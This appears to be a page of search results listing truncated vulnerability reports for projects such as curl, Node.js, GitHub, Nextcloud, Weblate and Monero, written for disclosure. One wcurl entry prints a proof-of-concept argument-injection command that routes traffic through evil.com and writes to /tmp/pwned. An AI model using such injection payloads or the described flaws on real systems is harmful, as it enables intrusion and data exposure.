1312315 matches found
Node.js: Timing side-channel in HMAC verification via memcmp() in crypto_hmac.cc leads to potential MAC forgery
Vulnerability description not provided...
Node.js: Memory leak in Node.js HTTP/2 server via WINDOW_UPDATE on stream 0 leads to resource exhaustion
Vulnerability description not provided...
curl: MQTT Protocol Packet Injection via Unchecked CONNACK Remaining Length
I'm not sure if this is a vulnerability or intended behavior, but I noticed that curl MQTT implementation accepts CONNACK packets with Remaining Length values greater than 2, which appears to violate the MQTT v3.1.1 specification. According to the MQTT spec, CONNACK packets should have a Remainin...
Infinite Loop Denial of Service via Circular Dependencies in Functional Model Deserialization
Description A vulnerability in keras.src.models.functional.functionalfromconfig allows a Denial of Service DoS attack via an infinite loop. When reconstructing a Functional model from a configuration e.g., via keras.models.loadmodel, the deserialization logic fails to detect or break out of...
GitHub: Add labels to arbitrary issues/prs via Memex Bulk Update to compromise github actions label gating
A vulnerability was identified in GitHub Enterprise Server that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied...
GitHub: Add labels to arbitrary issues/prs & compromise github actions label checks
A vulnerability was identified that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied without verifying the actor's...
Fastify: DoS via Unbounded Memory Allocation in sendWebStream on Fastify v5.7.0+ leads to OOM crash when backpressure is ignored
A vulnerability was discovered in Fastify versions 5.7.0 and later. The issue was in the "sendWebStream" function, which failed to handle TCP backpressure correctly. When a ReadableStream was sent as a response, Fastify continuously pulled data from the stream producer and wrote it to the respons...
curl: wcurl Argument Injection via Unquoted Variable
when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl affected version:current step 1: open terminal step 2:run pocs below wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt wcurl --dry-run --curl-options='-o...
Tucows (VDP): Password Strength Policy Bypass via Server-Side Validation Flaw
A password strength policy bypass was discovered due to a server-side validation flaw. The password strength policy was only enforced in the browser, not on the server side...
curl: Integer Underflow in src/var.c
Summary: A potential Integer Underflow vulnerability was identified in the setvariable function within src/var.c. the flaw occurs during the calculation of the variable content length clen when a byte range is specified. specifically, the code fails to validate if startoffset is greater than...
GitHub: PATs without the required scope can leak issues
An Incorrect Authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated user with a classic personal access token PAT lacking the repo scope to retrieve issues and commits from private and internal repositories via the search REST API endpoints. The user...
Nextcloud: View-only guests could see deleted Collectives pages in the trashbin
A vulnerability was discovered where view-only guests could see deleted Collectives pages in the trashbin...
Nextcloud: IDOR on ██████ via direct photo URL leads to unauthorized access to deleted and other users' photos
Summary: An Insecure Direct Object Reference IDOR vulnerability exists in the application that allows unauthorized access to photos belonging to other users. The application does not properly validate whether the logged-in user is authorized to access a photo when accessing it via direct URL. Thi...
Weblate: Argument Injection in /manage/ssh/ via host parameter leads to sensitive file disclosure on Weblate
A vulnerability was discovered in the SSH management interface of Weblate, a web-based translation tool. The vulnerability allowed an attacker with administrative privileges to inject command-line arguments into the host parameter, leading to sensitive file disclosure on the server. The vulnerabl...
curl: SSL options ISSUERCERT, EC_CURVES and CRLFILE silently ignored by non-OpenSSL backends
Summary: The SSL options ISSUERCERT, ECCURVES and CRLFILE are silently ignored for e.g. the mbedTLS backend, which allows MITM attacks for the ISSUERCERT and CRLFILE bug, and can reduce the security and compliance by ignoring the specified curve for the ECCURVES bug. Affected version Tested with...
curl: Cross‑origin cookies leak and injection risk when using a custom Host header
Summary When a custom hostname is specified, it is used for cookie matching if the cookie engine is also enabled for this transfer. This matching persists in cross-origin redirects despite that the originally supplied hostname is removed. cookiehost is set from a custom Host header: lib/http.c...
curl: Cookie Replacement Use-After-Free Vulnerability
Summary: The cookie replacement logic in lib/cookie.c contains a use-after-free vulnerability in the replaceexisting function. The function modifies a linked list while iterating over it, creating potential for memory corruption in concurrent or complex cookie operations. Vulnerable Code Location...
curl: Cookie Max-Age Integer Overflow Vulnerability
Summary: The cookie parsing code in lib/cookie.c contains an integer overflow vulnerability when processing the Max-Age attribute of HTTP cookies. The vulnerable code attempts to add the max-age value to the current timestamp without adequate overflow protection While the code includes an overflo...
Monero: Loss of multisig funds through single malicious participant's deliberate deception
A vulnerability was discovered in the Monero multisig implementation. A single malicious participant of a multisig could trick other users into sending funds multiple times to a certain recipient, which could not be easily distinguished from a legitimate user action. This issue was caused by the...